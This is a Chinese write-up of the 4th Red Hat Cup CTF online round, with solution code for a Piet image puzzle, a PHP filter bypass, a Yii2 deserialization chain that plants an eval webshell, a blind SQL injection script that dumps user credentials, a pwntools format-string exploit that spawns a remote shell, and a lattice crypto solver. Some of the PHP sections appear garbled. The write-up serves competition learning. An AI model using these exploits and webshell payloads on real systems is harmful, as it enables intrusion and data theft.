第四届红帽杯网络安全大赛-线上赛Writeup
白帽子社区
共 10644字,需浏览 22分钟
·
2021-05-13 22:23
作者:末初 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
签到
colorful code
这题可惜了,当我想出来怎么做的时候,已经没有时间来写脚本了...
首先题目名称提示:colorful code ,这点当时第一时间想到了前段时间安恒赛misc有一题 colorful
porgramming
from binascii import *
with open('data2','rb') as f:
f = hexlify(f.read()).decode()
n = 0
color_list = []
for i in range(0,len(f),2):
i = f[i:i+2]
color_list.append(int(i,16))
n += 1
if n == 3:
print(tuple(color_list))
color_list = []
n = 0
else:
continue
PS C:\Users\Administrator\Downloads\colorful_code-1> python .\code.py
(0, 0, 0)
(0, 0, 192)
(0, 255, 255)
(0, 255, 0)
(255, 192, 255)
(255, 192, 192)
(192, 192, 255)
(192, 192, 0)
(255, 0, 255)
(255, 0, 0)
(192, 0, 0)
(192, 0, 192)
(255, 255, 255)
(255, 255, 0)
(255, 255, 192)
(0, 192, 0)
(0, 192, 192)
(192, 255, 255)
(192, 255, 192)
(0, 0, 255)
(20, 20, 20)
(21, 21, 21)
(22, 22, 22)
(23, 23, 23)
(24, 24, 24)
(25, 25, 25)
.......
(250, 250, 250)
(251, 251, 251)
(252, 252, 252)
(253, 253, 253)
(254, 254, 254)
(255, 255, 255)
def str2list():
with open('data1.txt') as f:
f = f.read()
index_list = f.split(' ')
return index_list
print(str2list())
print(len(str2list()))
这里需要注意,因为 data1 最后有两个空格,所以会切多一个元素出来,去掉即可。所以这里总像素 是:7067 7067 看起来不像是一个比较常见的图片总像素数,不太好计算,直接在线分解质因数得到宽高 分解质因数:http://tools.jb51.net/jisuanqi/factor_calc
就先推测宽为: 37 ,高为: 191 OK,接下来直接Python简单处理下即可得到 flag.png
# -*- coding:utf-8 -*-
# Author: mochu7
import PIL
from PIL import Image
from binascii import *
def str2list():
with open('data1.txt') as f:
f = f.read()
index_list = f.split(' ')
return index_list
def num2color():
with open('data2','rb') as f:
f = hexlify(f.read()).decode()
n = 0
idx = 0
color_dic = {}
color_list = []
for i in range(0,len(f),2):
i = f[i:i+2]
color_list.append(int(i,16))
n += 1
if n == 3:
color_dic[idx] = tuple(color_list)
color_list = []
n = 0
idx += 1
elif idx == 20:
break
return color_dic
def genimg():
width, height = 37, 191
img = Image.new("RGB",(width,height))
imgpixels = str2list()
colorlist = num2color()
pixlist = []
for pix in imgpixels:
pixlist.append(colorlist[int(pix)])
idx = 0
for w in range(width):
for h in range(height):
img.putpixel([w,h], pixlist[idx])
idx += 1
img.save('flag.png')
if __name__ == '__main__':
# print(len(str2list()))
# print(num2color())
genimg()
npiet online :https://www.bertnase.de/npiet/npiet-execute.php
得到flag
flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}
'localhost', 'root'); $link = mysql_connect(
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1> echo "Hello My freind!"; </h1>
if($link) {
<h2>I Can't view my php files?!</h2>
else { }
<h2>MySQL Server version: echo mysql_get_server_info(); </h2>
}
</body>
</html>
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
/index.php?code= =phpinfo();
发现flag被记录进了phpinfo的全局变量里,送分了
framework
源码中简单看了下,知道这是Yii2框架,搜索引擎找一下如何查看Yii2的版本
/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
得到一个不完整的phpinfo
之后测试的时候,发现system、eval之类的一些函数好像都没有效果,猜测可能设置了disable_functions
不过最后发现assert能用、file_put_contents()也能用
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
上蚁剑,用插件。
phpinfo
的信息显示这里是Apache/2.4.6 (CentOS) PHP/5.6.40
选择
Apache_mod_cgi
WebsiteManger
查看源码
图片的id
貌似是跟数据库存在交互的
import string
from requests import *
allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
myurl = 'http://eci-2ze8j3xqhbs4y2thbqra.cloudeci1.ichunqiu.com/image.php'
info = ''
for i in range(1,50):
for s in allstr:
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
resp = get(url=myurl+payload)
if len(resp.text) > 4000:
info += s
print(info)
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
注入查询到信息
Current_database: ctf
Tables_in_ctf: images,users
Columns_in_users: username,password
file:///flag
ezlight
orz…orz…orz…orz…orz…orz…orz…
Y1ngyyds!!!
https://www.gem-love.com/websecurity/2763.html
parser
主要是逆向工作,理清楚合法输入后就是简单的不限次数的格式化字符串。
from pwn import *
context.log_level = True
context.arch = "amd64"
#p = process("./pwn")
p = remote("47.105.94.48", 12435)
gadget_addr = [0x4f365, 0x4f3c2, 0x10a45c]
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%15$p*%8$p*"
p.sendline(payload)
base_addr = int(p.recvuntil("*")[:-1], 16) - 0x14a8
stack_addr = int(p.recvuntil("*")[:-1], 16) + (0x7fffffffddd8 - 0x7fffffffd830)
log.info("base_addr: " + hex(base_addr))
log.info("stack_addr: " + hex(stack_addr))
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%22$saaaaa" + \
p64(base_addr + 0x201F90)
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x110180
log.info("libc_base: " + hex(libc_base))
gadget_addr = libc_base + 0x10a45c
log.info("gadget_addr: " + hex(gadget_addr))
#gdb.attach(p, "b* 0x55555555537d\nb* 0x55555555539c\nb* 0x555555555634")
p.recvuntil("> ")
payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n11" + \
fmtstr_payload(0x59, {stack_addr: gadget_addr}, 2, "short")
p.sendline(payload)
p.recvuntil("> ")
payload =b"getshell"
p.sendline(payload)
p.interactive()
primegame
import math
from decimal import *
import random
getcontext().prec = int(100)
primes = [2]
for i in range(3, 90):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)
keys = []
for i in range(len(primes)):
keys.append(Decimal(int(primes[i])).ln())
arr = []
for v in keys:
arr.append(int(v * int(16) ** int(64)))
ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918
def encrypt(res):
h = Decimal(int(0))
for i in range(len(keys)):
h += res[i] * keys[i]
ct = int(h * int(16)**int(64))
return ct
def f(N):
ln = len(arr)
A = Matrix(ZZ, ln + 1, ln + 1)
for i in range(ln):
A[i, i] = 1
A[i, ln] = arr[i] // N
A[ln, i] = 64
A[ln, ln] = ct // N
res = A.LLL()
for i in range(ln + 1):
flag = True
for j in range(ln):
if -64 <= res[i][j] < 64:
continue
flag = False
break
if flag:
vec = [int(v + 64) for v in res[i][:-1]]
ret = encrypt(vec)
if ret == ct:
print(N, bytes(vec))
for i in range(2, 10000):
print(i)
f(i)
CVE-2020-16846 CVE-2020-25592 分析
利用句柄表实现反调试
虎符ctf wp
ElasticSearch漏洞复现集合
评论